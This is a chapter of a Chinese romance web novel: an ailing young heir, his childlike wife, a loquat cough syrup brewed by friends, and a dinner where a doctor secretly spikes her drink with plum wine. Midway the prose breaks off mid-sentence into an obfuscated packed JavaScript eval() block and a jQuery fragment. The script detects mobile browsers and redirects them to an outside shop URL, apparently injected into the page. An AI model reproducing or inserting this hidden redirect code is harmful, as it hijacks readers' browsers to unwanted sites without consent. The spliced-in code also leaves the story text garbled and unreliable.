青禾依远岸,童稚看新莲。
翠盖凝朝露,微波漾晚烟。
风牵塘上影,月照水中缘。
愿共青山老,白头赴旧筵。
不知为何,他极为喜欢这首无名诗人所作的诗。每每诵起,心中便隐隐泛起涟漪,然是悲是喜,他却分辨不出。
他放下书卷,往窗外看去,那两棵枇杷树葱蔚洇润,亭亭如盖。据学堂先生所言,已有一百年的历史了。
枇杷秋孕蕾、冬开花,此刻正是初春,枇杷树上仍旧缀满了白色的小花,但树下却有一地落英,大抵是被昨日的大风吹落的。
树下有一个小小姑娘,看起来不过三、四岁的模样,梳着三丫髻,髻上缠着朱红束带,在风中轻晃。她抱着比她要高出一截的扫帚,正吃力地将落在青石板上的花瓣扫到树底。
扫了不过一会儿,她便累了,扔下扫帚跑到青石阶上,从荷包里掏出一包松子糖,正要坐下大快朵颐,却突然抬起了眼眸。
他正支着下颌看她,一时不备,直直撞入她那双清眸。不知为何,竟有些想要落泪。
她走了过来,踮起脚将那松子糖从窗口送了进来,微微歪着脑袋,两颗杏眸弯成了弦月。
“哥哥,要吃颗糖么?可甜了!”
睁开眼时,晏净安还有些恍惚,梦中的一切都太过真实,他因吃药常年苦涩的喉间,似乎还残留有那颗松子糖的甜。
他又闭眸缓了缓,睁眼往身旁看去,已是空无一人。心慌乱一瞬后又重新平稳。他不紧不慢地起身穿衣,喝了杯水润了润嗓子之后才走了出去。
日头已向西方沉去,余霞成绮,东方一轮朦胧圆月正缓缓升起。竟已是傍晚时分了。
晏净安眉头蹙了一下,不消他问,苍术便答:“是夫人不让叫的,说要让您多睡一会儿。夫人在厨房呢。世子可要去看看?”
晏净安点点头。他喜欢看见青禾露出那样惊喜的笑容。
小厨房灯火通明,还未走近便听得说话的声音。
“净安肺阴亏虚,身子不耐大寒,脾胃偏孱弱,玉竹养肺,甜杏仁下气缓咳,配上枇杷叶和川贝,润喉却不至于寒凉伤胃。再熬个半个时辰就行了,晾凉些,收进瓷罐中,往后他再喉间发痒,让他舀一勺含着便行。”
是柳玉涵的声音。
晏净安本以为青禾来此是为了做枇杷煎,却未曾想到她竟是在为自己熬制枇杷膏。心中又是一阵触动。
暮光从窗外斜斜地透进来,把她鬓边细碎的绒毛染成淡淡的金色。她站在那里,手中不停地搅动着那一锅枇杷膏,脸上带着感激的笑容。
“多谢你柳大夫。要不是你,这止咳枇杷膏肯定是熬不成的。我一直以为枇杷膏是用枇杷果熬的呢。”
“我才是要多谢你。若不是你说,我还不知道他的咳疾又发作了。”
柳玉涵长长叹了口气,眸色很是凝重。但在对上几人担忧的目光时,他又像往常一般云淡风轻地笑了起来,好似一切尽在他的掌握之中。
“都不用担心,他没什么大问题,只是迎了风而已。”
几人的目光太过灼热,他怕自己会坚持不住,缴械投降,忙拿过青禾手中的长勺,“好了,剩下的还是我来吧,这个时辰净安也该醒了,若是见不到夫人,怕又会着急的。夫人还不知道吧,你遭遇刺杀那日,他……”
“夫人。”晏净安提步走进厨房,截断了柳玉涵的话。
当日的刺杀给青禾留下了不小的阴影,她好不易才遗忘,他无意再让她记起,再陷入那样可怖的梦魇之中。
看见他,她果然如他所想的一般露出了惊喜的笑容,“你醒了!睡得好吗?”
她的笑容不加任何修饰,没有掺杂一点假意,并不是为了让他宽心才强行挤出来的,从始至终都不是,所以他喜欢看她的笑。
“睡得很好,还做了一个美梦呢!”晏净安也随之扬起了嘴角,朝青禾伸出了手。
“真的呀!那你还记得梦到了什么吗?”青禾走过去,自然而娴熟地握上了晏净安的手。
他的手哪怕是在烈日炎炎的夏日也是冰凉一片。
“嗯……有些记不清了,不过,好像梦见夫人了。”
柳玉涵努力抿唇想控制自己的嘴巴,不要击碎这温馨的场景,但倒了还是没忍住:“日有所思,夜有所梦,你这天天看着你家小娘子,竟然还会梦到她呀!啧啧!看来我当日没说错啊,你这颗千年老树果然开花了!”
“夫人是在为我熬制枇杷膏吗?”晏净安懒得理会柳玉涵,连一个眼神都没有施舍给他。
柳玉涵:没关系,早已习惯。
青禾点头,又说道:“不是我一个人。配方是柳大夫写的,枇杷叶是决明摘的,玉簪、杜若姐姐和我洗的,所以说,是我们一起为你熬制的。”
苍术一听,三步并作两步走到柳玉涵身旁,在他疑惑的目光中,一把抢过他手中的长勺,卖力地搅动起来,“还有我,我也是出了力的。”觉得这种程度不够,想了想,又拍着胸脯道:“熬好之后不是要灌入瓷瓶里么,这个任务就交给我吧!”
见他这慌张讨好的模样,众人皆是忍俊不禁。
晏净安难以说出此刻心中是个什么感觉,无论是家人还有挚友没少为他付出,可他不愿他们如此。
阿娘曾为了他在佛前七日长跪不起,泪水将膝下的蒲团都浸湿了。
而他却对阿娘说:“阿娘,求你了,不要再这么做了,不要再为我付出什么了!你明明知道无论做什么都于事无补,那些所谓的付出对我而言只是负担,我快……被压得喘不过气了。求你了,什么都不要做了,就让我按照既定宿命死去吧!”
那时阿娘眼中的哀伤与幽愤,他并没有看见,他不忍亦不敢去看阿娘的眼睛。怕看了,他会指着那高高在上,低眉垂眼,一脸慈悲的金佛,厉声质问祂,为何要将他变得如此悲哀?为何要让爱他的人如此痛苦?
他知道,佛从不给愚人回应。
他不喜甚至是厌烦他人为了挽留他终将逝去的生命做什么,可如今,他那颗死寂的心重新跳动起来,他亦对人间生出了几分眷恋。他衷心希望这些付出会得到回报。
“净安在此多谢诸位了。”晏净安拱手行了一礼,又迅速握上青禾的手,与她十指紧扣。
“为了答谢诸位,我请诸位广月楼一聚,可好?”他询问的是众人的意愿,但眼睛只看向青禾。
“好啊好啊!”青禾欢呼雀跃。
玉簪、决明、苍术也紧跟着附和。柳玉涵忧心晏净安的病,正欲回药房研读医书,嘴唇刚张开正要谢绝,青禾便出了声:“柳大夫一定要去,你可是功若丘山啊!”
她说完又看向晏净安,“这个词我用对了吗?”
晏净安的笑容明艳,柳玉涵看了却不忍鼻酸。事到如此,他依旧难以说明,这于他而言究竟是福是祸。
他的小娘子开了口,以他对晏净安的了解,便是架也定会给他架去。况且他也有些想喝广月楼的青梅酒,心中郁结,总要抒发。
“夫人既然邀请了,那我就恭敬不如从命了。”柳玉涵顺势应答下来。
杜若并不想去,她明晓此刻的欢愉笑乐皆会成为日后摧心断肠的苦痛。世人对于生离死别向来无
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17817210|211078||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
计可施,她只能选择逃避,天真地以为只要不再加诸情感,便不会悲戚。
只是她却也拗不过青禾。她难以承受那双清澈真诚的眼睛流露出一丝失望之意。
一行七人浩浩荡荡地出发了。
欢声笑语充斥于席间,热闹非凡。
柳玉涵终于喝上了心心念念的青梅酒,心满意足极了,抬眼便看见青禾正目光灼灼地盯着他手中的酒盏,咽了口口水。
“夫人也想喝?”
“不行!”
晏净安坚决的声音让青禾刚还喜笑颜开的面容瞬间坍塌,头低垂着,连眼睛都黯淡了。
晏净安轻叹,柔声劝慰:“夫人,你还小,不能喝酒。”
“哎呀,这是果酒,不醉人的,喝一点没事!净安,你就不要扫兴了。我们小夫人都不开心了!”柳玉涵不顾晏净安眼中的警告,执意给青禾倒了一杯,“夫人快尝尝,这可是我最爱的酒呢。”
青禾捏着酒盏不肯放手,悄悄抬眸可怜巴巴地看向晏净安。
晏净安哪里承受得住,无奈扶额退了一步,“只许喝这一杯,不能再多了。”
“嗯!”青禾终于破颜欢笑,“你真好!”
他倒希望他能不这么好。
“对了,听说忍冬和广白回乡祭祖了,这两人装了这么多年的陌路人,总算是表明心意了。他们什么时候回来啊?”柳玉涵问道。
晏净安往青禾满满当当的碗里又夹了一块胭脂鹅脯,闻言回道:“差不多也要下个月中了。广白来信说要和忍冬四处走走。”
“等他们回来也该完婚了吧?”玉簪咬着筷子,一脸期冀,“那侯府又要热闹了!”
用膳期间,晏净安一直在关注青禾,确定她只喝了一杯,便又喝起了冰糖木樨饮,这才放心。
柳玉涵看来还是有点分寸的。
这个想法在他看见青禾脸颊上两朵霞云和迷离失神的眼睛时,轰然崩塌。
柳玉涵这家伙竟阳奉阴违,让小厮将青梅酒灌入了冰糖木樨饮的执壶中!
晏净安气愤地剜了柳玉涵一眼,俯身靠近浑身散发着青梅酒清甜气味的青禾,阴寒的眼眸瞬间变成了深切的关心,“夫人还好吗?”
青禾已是浑浑噩噩,脑袋沉甸甸的,眼前所有的一切都在晃,她摇了摇脑袋,皱眉定睛看了半天,眼前还是一个飘来飘去的虚影,看得她头更晕了。
“你……不要晃嘛!”她不悦嘀咕一句,再撑不住脑袋。
晏净安眼疾手快托住了她的头,眼睛里的寒光变成两把冰刃,向柳玉涵直刺过来,摄得他颔首低眉,一动都不敢动,只谄笑,“好不容易出来了,我寻思让她高兴高兴嘛!而且这酒就算醉了,醒来也不会难受的。”
晏净安无言,只盯着他。
“我错了。”柳玉涵不再垂死挣扎,头垂得更低了。
苍术和玉簪极有眼色地站了起来,而决明还在埋头苦吃。玉簪嫌弃地拽了他一下,他这才抬起头,一双大眼睛清澈极了。
一路上青禾都没有醒,苍术把她从背上小心地放在床上,玉簪则为她梳洗,她的眼睫未曾颤动过一次。
睡梦中的她是最最真实自在的样子,双臂和双腿大展着,霸占了整张床。
晏净安倚在床边看她,嘴角缓缓扬起了一抹欣慰的笑,与眼中的温情挚意相得益彰。烛火在纱幔外摇曳,在他那张苍白无色的温润面容上投上两抹红晕,一会儿红在脸颊,一会儿红在眼睛。
忽然,她的嘴唇翕动了一下,似在说什么梦呓,他俯身靠近,侧耳倾听,只听见一句:“哥哥,要吃颗糖么?可甜了。”